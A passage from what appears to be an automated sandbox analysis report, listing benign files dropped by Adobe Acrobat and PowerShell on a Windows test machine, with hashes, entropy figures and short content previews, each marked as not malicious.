SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfYdPeUkwRe9:YvXKXTNAcR8Gg8Ukee9
MD5:	6D3F3D339AE30E5CD7DBFDF583BCC907
SHA1:	71667F93618AA6D7FD7D474CFCD9A8CF05E8C63C
SHA-256:	C6A02E111B24349A42C4CD523ED96892B81F88C36162443215BB30223B360041
SHA-512:	5B188A9B92EA73C68D95CA974774F5FD54C089598E629E1D99BB136E68AF021DBBBBA52C312D15EE183309998BD592ED3F07DF9AE685035C1E2730F6FDBE1E93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.259267821141402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJf+dPeUkwRe9:YvXKXTNAcR8G28Ukee9
MD5:	21D990BFD6FDBC480F7378D0586BF673
SHA1:	38E2B633C91528582C3EB080FA0166DB4B872262
SHA-256:	5A71966EC4ABDFB6E33A725EAE9B4EFB97644E66E42F003D3A8B1D08BD713526
SHA-512:	5D9E8D579F44A427D5331E74442A03625E6C7C18AE9D286564ED78EBCBD3D52C22B84DA96565FA834CC778F9D2DAE567341EFD7E8ACA8F28C644344006F326C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.256580377678671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfbPtdPeUkwRe9:YvXKXTNAcR8GDV8Ukee9
MD5:	1EB8E0931450BCC8DAF4E1264BECE19B
SHA1:	8DA6BA7E58D3F723234FEB1AEBFA9B4F32251A7D
SHA-256:	7C080E45D9EF6F05763D17BB657AFDE5D4672579E8C7DD6F1518CAA7DEBB7FBA
SHA-512:	D24CB2B6258F473C85213758AECD3397227469A212CDA49FD4A55ED4A9B1F0ECA05F3BFF47D43BBAE2549403E7DF3BA4816D0687174719F7235D88DBBF93C91F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2595858552048576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJf21rPeUkwRe9:YvXKXTNAcR8G+16Ukee9
MD5:	CB4414B3710D995B0B4E22BF6EBA805B
SHA1:	B719C6C0979A3818983A05D591FA5633C33442FE
SHA-256:	0221773937D5AAB38B36FD263B3728E4BCC4ADB5CF1EC594BE2C559C610875A0
SHA-512:	E76B15DDCDAB7AE787F9FA0E1E7713954482D83BF6500CF96698CBC6B44DDF27A2D56BC46A831416A6B54053647829D5A45C0DE4E879695A2885AA144571E094
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661056773748147
Encrypted:	false
SSDEEP:	24:Yv6XJ1HamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:Yv2VBgkDMUJUAh8cvMX
MD5:	DB762D92C8FD1BF9E6BB615F5A9E1207
SHA1:	4C05FDFA143B85A3E7D90B9E3D02D649197CE46B
SHA-256:	1C17E14BC878A6E8535293B1F16C3FB4679361EE5DA78823A16C6AB15AAD6BC9
SHA-512:	13A347335C0807B830F6BCA63D999DCF2C8E45B457EE83BB8638036EF66A1D36462D4A735FCB724311530616531587140C765A77469E2759BBC14E0FBA41B3FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237963448578954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfshHHrPeUkwRe9:YvXKXTNAcR8GUUUkee9
MD5:	3183710783D3F64ADF2250FB23A882AD
SHA1:	7F551B787583D27F4F12D3A3FB8D35F78909A102
SHA-256:	B56B3A710D1F9416A98834EB61F5ABA83F6463698A418EA893C5EC3F30AED755
SHA-512:	F81F16F46346A7950BEA976E57AC087E09352696F45EFF9D65998386FFA020C761DE4EB0D75A2DA06201436B9B9DD0BF60864455351EB01E164195CE062CC548
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.246004904771229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJTqgFCrPeUkwRe9:YvXKXTNAcR8GTq16Ukee9
MD5:	333D81E67A631D3B3FC0AD8891FD6311
SHA1:	0990929044D2F68A2863BB134457F93E5B558CE2
SHA-256:	0765D086C32E7D051926F32126BB43FC6449723E0130D317085250C9B030D416
SHA-512:	65221AFEFBEE27BAC2FF9B02C9945301BA03D595D6BF38C6B8F8BC7888832694250C9866DA3224BA00B9A9839A656736964745C1BF8EEBB5C43DF234B9AB19D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141758162381459
Encrypted:	false
SSDEEP:	24:Y/FIUaAHnay5JdXmjQjjxrmkjaj0Swxayw2mN2LS6CQynEZHs1Ln25MmVXfgh9PD:Y/XT2jQjN8e27NIrOEZiyK0fgh973
MD5:	541479F2A9E62A842046A6015DCE8144
SHA1:	10FD64B1B0CED9A409DE08DF8FCA7EBABC197FE7
SHA-256:	C6BFA0B0D76EEA9AB4D98A2E3B7A134CBDA9BDB081951282FCF3FA6BEDF41D9A
SHA-512:	A0A520C3A92A3072925745CDE12B2ADF13D52D7C6620ADC8A8DA06F2BF76E20AAD0EEB3B85FBF802C53AB6A7A269199156E47701687142632D7423C6D4F0E0D0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2ef0809f525d695502bf5b39b8c8cf66","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736534257000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"05974addbcc161ab8db2a97780129774","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736534257000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5f45987db7e6c9d53e2d7d1010fd2f4e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736534257000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d326685e8d22c8a940757f246a58f0cb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736534257000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8e5cc75048749da05466ce8f285290f2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736534257000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9192cdf891151413ecdb63058c8c2bb2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1466052350923541
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursK3hFRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuw:TFl2GL7msK3TXc+XcGNFlRYIX2v3k73V
MD5:	01E4B4DF4B01F30FB634DA953CEF92B3
SHA1:	18A4FC282D02D631E13A51C45EE99F16FC73FF92
SHA-256:	87B1F955C69CE9050A93E879DCCC9F33FAED2EFAEF0D98E7B53749CF3FF4949B
SHA-512:	842F82382E84E79DB1F48F867EB6096FCB75C6535B7922771B131B2EFFBC5E2B9A7FB6C35EB1D873F21B00323CFFFCF88700867D9A32C5BB5591B2FDEC639B33
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.551620620520125
Encrypted:	false
SSDEEP:	24:7+tA3hFUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxeTqLxx/J:7MA3EXc+XcGNFlRYIX2vJTqVl2GL7msn
MD5:	E62D4E9E779F43C5998FD4B0DC98FA9C
SHA1:	34415FF3887674F92077560EF93270AB72A0586F
SHA-256:	FFE984369074B12918B6221F0B4B493780457C01F26F1E45A12D450217A8A2F2
SHA-512:	84FC0251FE502A89FA67E787B8FF2445DEE96B0446732AD68CD3804792EDAC30251D8BB734DA8EC0F9BC1198E9A787EB6E13499AF8B2B7F5B8B6FD3C46FF8FC4
Malicious:	false
Preview:	.... .c......V...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgMbUUsPBDnMCo7VyoUyKVIcTecDYyu:6a6TZ44ADEMbUbP9nS7VwKOK
MD5:	9A280140C02CC80FBCD726135DA391E8
SHA1:	BCB9B19CEA8A2729FF6ABB5A6A34E3BB461CA61D
SHA-256:	7FA4EB24AC150071F3F724AA0B4B5F1C0F2B67AB5EEDDD45D6DF1C5309D5E342
SHA-512:	04F185A871B20E72AB0737FF4A4B9870159E052E93A732477428EB332CA5A898FE9E372F5F33081DF54D0FD0BD0E0AB1766C794E85CCA2CD2794B9C53F31FA7C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIb812d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.507062468641971
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEKZ:Qw946cPbiOxDlbYnuRK+bDKZ
MD5:	FBDF4CD16CD000518503916734CD5673
SHA1:	8BAA5274A5FA0D81DF5382EE2A7BBB991CB7090E
SHA-256:	C2BF38A15DCB148F55B01C933AB87669D662B06ACD5E68F9DDEDF5BD0E2774C3
SHA-512:	A25F467D328E77DAACBD4B9BC62C9B6D2E5F6CB79B3CE9385C88F85CF476E9A6D68E899B1F8E5886AF9489A50B55015390FE52CFF004B1A64DD1BC5A11FFF126
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.3.:.3.7.:.3.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mr4tancn.i1q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxn145xc.tin.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 13-37-30-674.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.317182689123249
Encrypted:	false
SSDEEP:	384:sKIfAap5kh4yR8/SPKfWy9EV8oh8HMslJWmcSKsI6H38kKcGsdEq3q3O72MIlyKD:K27
MD5:	8CDD91A98BEACF406CD56ADE58F25A7C
SHA1:	8ED57D528C8EC70C0DFAD14C8A695D84C4EFD654
SHA-256:	90D17EC0CB9A712D166444B19E09EF3B0EF44B8B5BEDC42BBAD37CF5B7D3E27D
SHA-512:	F643BF9A15EC85E71DB2064D0D4AC4AF186B22C83AAF370E59D35ACB379A5A7238FD3916BA385F0ACF829869900134DEFE69ED1929AC9B31AC7D18024F57B1E2
Malicious:	false
Preview:	SessionID=25c3bac2-2eb1-4278-b523-b57e39ead5d4.1736534250700 Timestamp=2025-01-10T13:37:30:700-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=25c3bac2-2eb1-4278-b523-b57e39ead5d4.1736534250700 Timestamp=2025-01-10T13:37:30:701-0500 ThreadID=7832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=25c3bac2-2eb1-4278-b523-b57e39ead5d4.1736534250700 Timestamp=2025-01-10T13:37:30:701-0500 ThreadID=7832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=25c3bac2-2eb1-4278-b523-b57e39ead5d4.1736534250700 Timestamp=2025-01-10T13:37:30:701-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=25c3bac2-2eb1-4278-b523-b57e39ead5d4.1736534250700 Timestamp=2025-01-10T13:37:30:701-0500 ThreadID=7832 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397389501818082
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbJOcbKHIvBcbB:V3fOCIdJDer+ovW
MD5:	17A600146718633F38253E851CFD4AE1
SHA1:	90A4DE6BAE85D20DA89103D922A559F1F0337A71
SHA-256:	73E16B29151E72691C061DBE7DFBCD52803FDF1849523DC1A250A8A1BFE0027B
SHA-512:	A1A8FC1C0E14A6816D48CED5828DA40CA5085DE8922E96C97CD5BCBE4EB1BB0466D817B42E602688CF7D5DEAB5AB0D2329457487C2277AC9891DD86F909CD995
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1c7fb20e-40f3-4982-bcb3-3d3463b9b1f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1f8bca2d-854c-4ce1-9a2d-8ca5f5ac990d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
